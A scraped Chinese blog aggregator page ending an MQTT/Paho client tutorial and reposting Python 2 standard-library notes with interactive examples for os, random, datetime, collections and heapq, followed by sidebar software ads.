881.0267578289576 from Topic: MQTT Examples 1 time Publishing message: Hello MQTT!!!!! Delivery a Msg to Topic: MQTT Examples get Msg: Hello MQTT!!!!! from Topic: MQTT Examples 2 time Publishing message: Hello MQTT!!!!! Delivery a Msg to Topic: MQTT Examples get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 3 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 4 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 5 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 6 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 7 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples 8 time Publishing message: Hello MQTT!!!!! get Msg: Hello MQTT!!!!! from Topic: MQTT Examples 9 time Publishing message: Hello MQTT!!!!! Delivery a Msg to Topic: MQTT Examples get Msg: Hello MQTT!!!!! from Topic: MQTT Examples Delivery a Msg to Topic: MQTT Examples Disconnected 10次消息发送全部成功,客户端也成功收到自己发送的消息。主要注意的是,由于我们设置QoS=2,需要服务器和客户端之间多次通信,耗费了时间,往往是消息已经被发到了,客户端才确定消息真的被发出了。 示例代码:https://github.com/sunrongxin7666/pahoclient 以上就是MQTT协议的简单介绍,更为复杂的功能期待各位读者探索。 感谢参考文献中列出的文章对于作者的帮助。 参考文献 MQTT学习笔记——MQTT协议体验 Mosquitto安装和使用 MQTT入门篇 MQTT协议简记 Mosquitto-Server Paho-Client MQTT SERVER 性能测试报告 MQTT安全篇 Introducing the MQTT Security Fundamentals MQTT V3.1--我的理解 MQTT学习笔记——MQTT协议体验 Mosquitto安装和使用

优秀的个人博客,低调大师

python标准库学习4

>>> os.environ["HOME"] 'C:\\Users\\Administrator' >>> os.getcwd() #获得当前的目录 'D:\\new' >>> os.getenv("QTDIR") #获取环境变量的值 'D:\\vs2010-qt-src-4.7.4\\qt-src-4.7.4' os.putenv(varname, value) #设置环境变量的值 os.mkdir(path[, mode]) >>> os.mkdir("aa") >>> os.rmdir("aa") >>>os.makedirs("aa\\bb\\cc") 多级目录 os.removedirs(path)¶ os.remove("d:\\new\\hello.txt") #删除文件,如果是目录的话,出错 os.rename("test.txt","a.txt") random.randint(a, b) Return a random integer N such that a <= N <= b. random.choice(seq) Return a random element from the non-empty sequence seq. If seq is empty, raises IndexError. random.random() Return the next random floating point number in the range [0.0, 1.0). random.shuffle(x[, random]) 随机排序序列 random.uniform(a, b)¶返回a<=N<=b之间的浮点数 random.randrange([start], stop[, step])想当于choice(range(start, stop, step)) >>> random.random() # Random float x, 0.0 <= x < 1.0 0.37444887175646646 >>> random.uniform(1, 10) # Random float x, 1.0 <= x < 10.0 1.1800146073117523 >>> random.randint(1, 10) # Integer from 1 to 10, endpoints included 7 >>> random.randrange(0, 101, 2) # Even integer from 0 to 100 26 >>> random.choice('abcdefghij') # Choose a random element 'c' >>> items = [1, 2, 3, 4, 5, 6, 7] >>> random.shuffle(items) >>> items [7, 3, 2, 5, 6, 4, 1] >>> random.sample([1, 2, 3, 4, 5], 3) # Choose 3 elements [4, 1, 5] >>> datetime.MAXYEAR 9999 >>> datetime.MINYEAR 1 >>> a=datetime.date(2011,2,1) >>> a.today() datetime.date(2011, 11, 26) >>> a.year 2011 >>> a.month 2 >>> a.day 1 >>> import time >>> from datetime import date >>> today = date.today() >>> today datetime.date(2007, 12, 5) >>> my_birthday = date(today.year, 6, 24) >>> if my_birthday < today: ... my_birthday = my_birthday.replace(year=today.year + 1) >>> my_birthday datetime.date(2008, 6, 24) >>> time_to_birthday = abs(my_birthday - today) #计算日期之差 >>> time_to_birthday.days 202 >>> datetime.now() #当前时间 datetime.datetime(2011, 11, 26, 10, 40, 10, 283000) >>> datetime.utcnow() datetime.datetime(2011, 11, 26, 2, 40, 34, 809000) >>> a=date(2005,7,14) #日期和时间进行合并 >>> t=time(12,30,12) >>> datetime.combine(a,t) datetime.datetime(2005, 7, 14, 12, 30, 12) >>> dt = datetime.strptime("21/11/06 16:30", "%d/%m/%y %H:%M") >>> dt datetime.datetime(2006, 11, 21, 16, 30) >>> from datetime import timedelta, datetime, tzinfo >>> class GMT1(tzinfo): ... def __init__(self): # DST starts last Sunday in March ... d = datetime(dt.year, 4, 1) # ends last Sunday in October ... self.dston = d - timedelta(days=d.weekday() + 1) ... d = datetime(dt.year, 11, 1) ... self.dstoff = d - timedelta(days=d.weekday() + 1) ... def utcoffset(self, dt): ... return timedelta(hours=1) + self.dst(dt) ... def dst(self, dt): ... if self.dston <= dt.replace(tzinfo=None) < self.dstoff: ... return timedelta(hours=1) ... else: ... return timedelta(0) ... def tzname(self,dt): ... return "GMT +1" ... >>> class GMT2(tzinfo): ... def __init__(self): ... d = datetime(dt.year, 4, 1) ... self.dston = d - timedelta(days=d.weekday() + 1) ... d = datetime(dt.year, 11, 1) ... self.dstoff = d - timedelta(days=d.weekday() + 1) ... def utcoffset(self, dt): ... return timedelta(hours=1) + self.dst(dt) ... def dst(self, dt): ... if self.dston <= dt.replace(tzinfo=None) < self.dstoff: ... return timedelta(hours=2) ... else: ... return timedelta(0) ... def tzname(self,dt): ... return "GMT +2" ... >>> gmt1 = GMT1() >>> # Daylight Saving Time >>> dt1 = datetime(2006, 11, 21, 16, 30, tzinfo=gmt1) >>> dt1.dst() datetime.timedelta(0) >>> dt1.utcoffset() datetime.timedelta(0, 3600) >>> dt2 = datetime(2006, 6, 14, 13, 0, tzinfo=gmt1) >>> dt2.dst() datetime.timedelta(0, 3600) >>> dt2.utcoffset() datetime.timedelta(0, 7200) >>> # Convert datetime to another time zone >>> dt3 = dt2.astimezone(GMT2()) >>> dt3 # doctest: +ELLIPSIS datetime.datetime(2006, 6, 14, 14, 0, tzinfo=<GMT2 object at 0x...>) >>> dt2 # doctest: +ELLIPSIS datetime.datetime(2006, 6, 14, 13, 0, tzinfo=<GMT1 object at 0x...>) >>> dt2.utctimetuple() == dt3.utctimetuple() True class datetime.time(hour[, minute[, second[, microsecond[, tzinfo]]]]) >>> a=time(10,46,12) >>> a.min datetime.time(0, 0) >>> a.max datetime.time(23, 59, 59, 999999) >>> a.hour 10 >>> a.minute 46 >>> a.second 12 >>> a.microsecond 0 class collections.Counter([iterable-or-mapping]) A Counter is a dict subclass for counting hashable objects. >>> # Tally occurrences of words in a list >>> cnt = Counter() >>> for word in ['red', 'blue', 'red', 'green', 'blue', 'blue']: ... cnt[word] += 1 >>> cnt Counter({'blue': 3, 'red': 2, 'green': 1}) >>> # Find the ten most common words in Hamlet >>> import re >>> words = re.findall('\w+', open('hamlet.txt').read().lower()) >>> Counter(words).most_common(10) [('the', 1143), ('and', 966), ('to', 762), ('of', 669), ('i', 631), ('you', 554), ('a', 546), ('my', 514), ('hamlet', 471), ('in', 451)] >>> c = Counter(['eggs', 'ham']) >>> c['bacon'] # count of a missing element is zero 0 >>> c['sausage'] = 0 # counter entry with a zero count >>> del c['sausage'] # del actually removes the entry >>> c = Counter(a=4, b=2, c=0, d=-2) >>> list(c.elements()) ['a', 'a', 'a', 'a', 'b', 'b'] most_common([n]) #出现次数最多的n个 >>> Counter('abracadabra').most_common(3) [('a', 5), ('r', 2), ('b', 2)] >>> c = Counter(a=4, b=2, c=0, d=-2) >>> d = Counter(a=1, b=2, c=3, d=4) >>> c.subtract(d) Counter({'a': 3, 'b': 0, 'c': -3, 'd': -6}) >>> c = Counter(a=4, b=2, c=0, d=-2) >>> sum(c.values()) # total of all counts 4 >>> list(c) ['a', 'c', 'b', 'd'] >>> set(c) set(['a', 'c', 'b', 'd']) >>> dict(c) {'a': 4, 'c': 0, 'b': 2, 'd': -2} >>> c.items() [('a', 4), ('c', 0), ('b', 2), ('d', -2)] >>> c.most_common()[:-2:-1] # c.most_common()[:-n:-1] n least #common elements [('d', -2)] >>> c+=Counter() >>> c Counter({'a': 4, 'b': 2}) >>> c.clear() >>> c Counter() >>> c = Counter(a=3, b=1) >>> d = Counter(a=1, b=2) >>> c + d # add two counters together: c[x] + d[x] Counter({'a': 4, 'b': 3}) >>> c - d # subtract (keeping only positive counts) Counter({'a': 2}) >>> c & d # intersection: min(c[x], d[x]) Counter({'a': 1, 'b': 1}) >>> c | d # union: max(c[x], d[x]) Counter({'a': 3, 'b': 2}) >>> from collections import deque >>> d = deque('ghi') # make a new deque with three items >>> for elem in d: # iterate over the deque's elements ... print elem.upper() G H I >>> d.append('j') # add a new entry to the right side >>> d.appendleft('f') # add a new entry to the left side >>> d # show the representation of the deque deque(['f', 'g', 'h', 'i', 'j']) >>> d.pop() # return and remove the rightmost item 'j' >>> d.popleft() # return and remove the leftmost item 'f' >>> list(d) # list the contents of the deque ['g', 'h', 'i'] >>> d[0] # peek at leftmost item 'g' >>> d[-1] # peek at rightmost item 'i' >>> list(reversed(d)) # list the contents of a deque in reverse ['i', 'h', 'g'] >>> 'h' in d # search the deque True >>> d.extend('jkl') # add multiple elements at once >>> d deque(['g', 'h', 'i', 'j', 'k', 'l']) >>> d.rotate(1) # right rotation >>> d deque(['l', 'g', 'h', 'i', 'j', 'k']) >>> d.rotate(-1) # left rotation >>> d deque(['g', 'h', 'i', 'j', 'k', 'l']) >>> deque(reversed(d)) # make a new deque in reverse order deque(['l', 'k', 'j', 'i', 'h', 'g']) >>> d.clear() # empty the deque >>> d.pop() # cannot pop from an empty deque Traceback (most recent call last): File "<pyshell#6>", line 1, in -toplevel- d.pop() IndexError: pop from an empty deque >>> d.extendleft('abc') # extendleft() reverses the input order >>> d deque(['c', 'b', 'a']) def tail(filename, n=10): 'Return the last n lines of a file' return deque(open(filename), n) def moving_average(iterable, n=3): # moving_average([40, 30, 50, 46, 39, 44]) --> 40.0 42.0 45.0 43.0 # http://en.wikipedia.org/wiki/Moving_average it = iter(iterable) d = deque(itertools.islice(it, n-1)) d.appendleft(0) s = sum(d) for elem in it: s += elem - d.popleft() d.append(elem) yield s / float(n) def delete_nth(d, n): d.rotate(-n) d.popleft() d.rotate(n) class collections.defaultdict([default_factory[, ...]]) >>> s = [('yellow', 1), ('blue', 2), ('yellow', 3), ('blue', 4), ('red', 1)] >>> d = defaultdict(list) >>> for k, v in s: ... d[k].append(v) ... >>> d.items() [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])] >>> d = {} >>> for k, v in s: ... d.setdefault(k, []).append(v) ... >>> d.items() [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])] >>> s = 'mississippi' >>> d = defaultdict(int) >>> for k in s: ... d[k] += 1 ... >>> d.items() [('i', 4), ('p', 2), ('s', 4), ('m', 1)] >>> s = [('red', 1), ('blue', 2), ('red', 3), ('blue', 4), ('red', 1), ('blue', 4)] >>> d = defaultdict(set) >>> for k, v in s: ... d[k].add(v) ... >>> d.items() [('blue', set([2, 4])), ('red', set([1, 3]))] >>> def heapsort(iterable): ... 'Equivalent to sorted(iterable)' ... h = [] ... for value in iterable: ... heappush(h, value) ... return [heappop(h) for i in range(len(h))] ... >>> heapsort([1, 3, 5, 7, 9, 2, 4, 6, 8, 0]) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] >>> h = [] >>> heappush(h, (5, 'write code')) >>> heappush(h, (7, 'release product')) >>> heappush(h, (1, 'write spec')) >>> heappush(h, (3, 'create tests')) >>> heappop(h) (1, 'write spec') #coding=utf-8 #堆的实例 from heapq import heappush, heappop, heappushpop, heapify, heapreplace, nlargest,\ nsmallest heap=[] heappush(heap,"A"); heappush(heap,"C"); heappush(heap,"B"); print heap heappop(heap) #弹出堆中最小的元素 print heap var=heappushpop(heap,"D") #返回并弹出堆中最小的元素,并且将D压入堆 print var print heap var=heapreplace(heap,"E") #返回并弹出堆中最小的元素,并且将D压入堆, print var print heap list=[1,2,3,4,5,6,7,8,9,0] heapify(list); print list print nlargest(3,list) #返回堆中最大的3个 print nsmallest(3,list) #返回堆中最小的3个 ============================================================================== 本文转自被遗忘的博客园博客,原文链接:http://www.cnblogs.com/rollenholt/archive/2011/11/26/2264225.html,如需转载请自行联系原作者

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册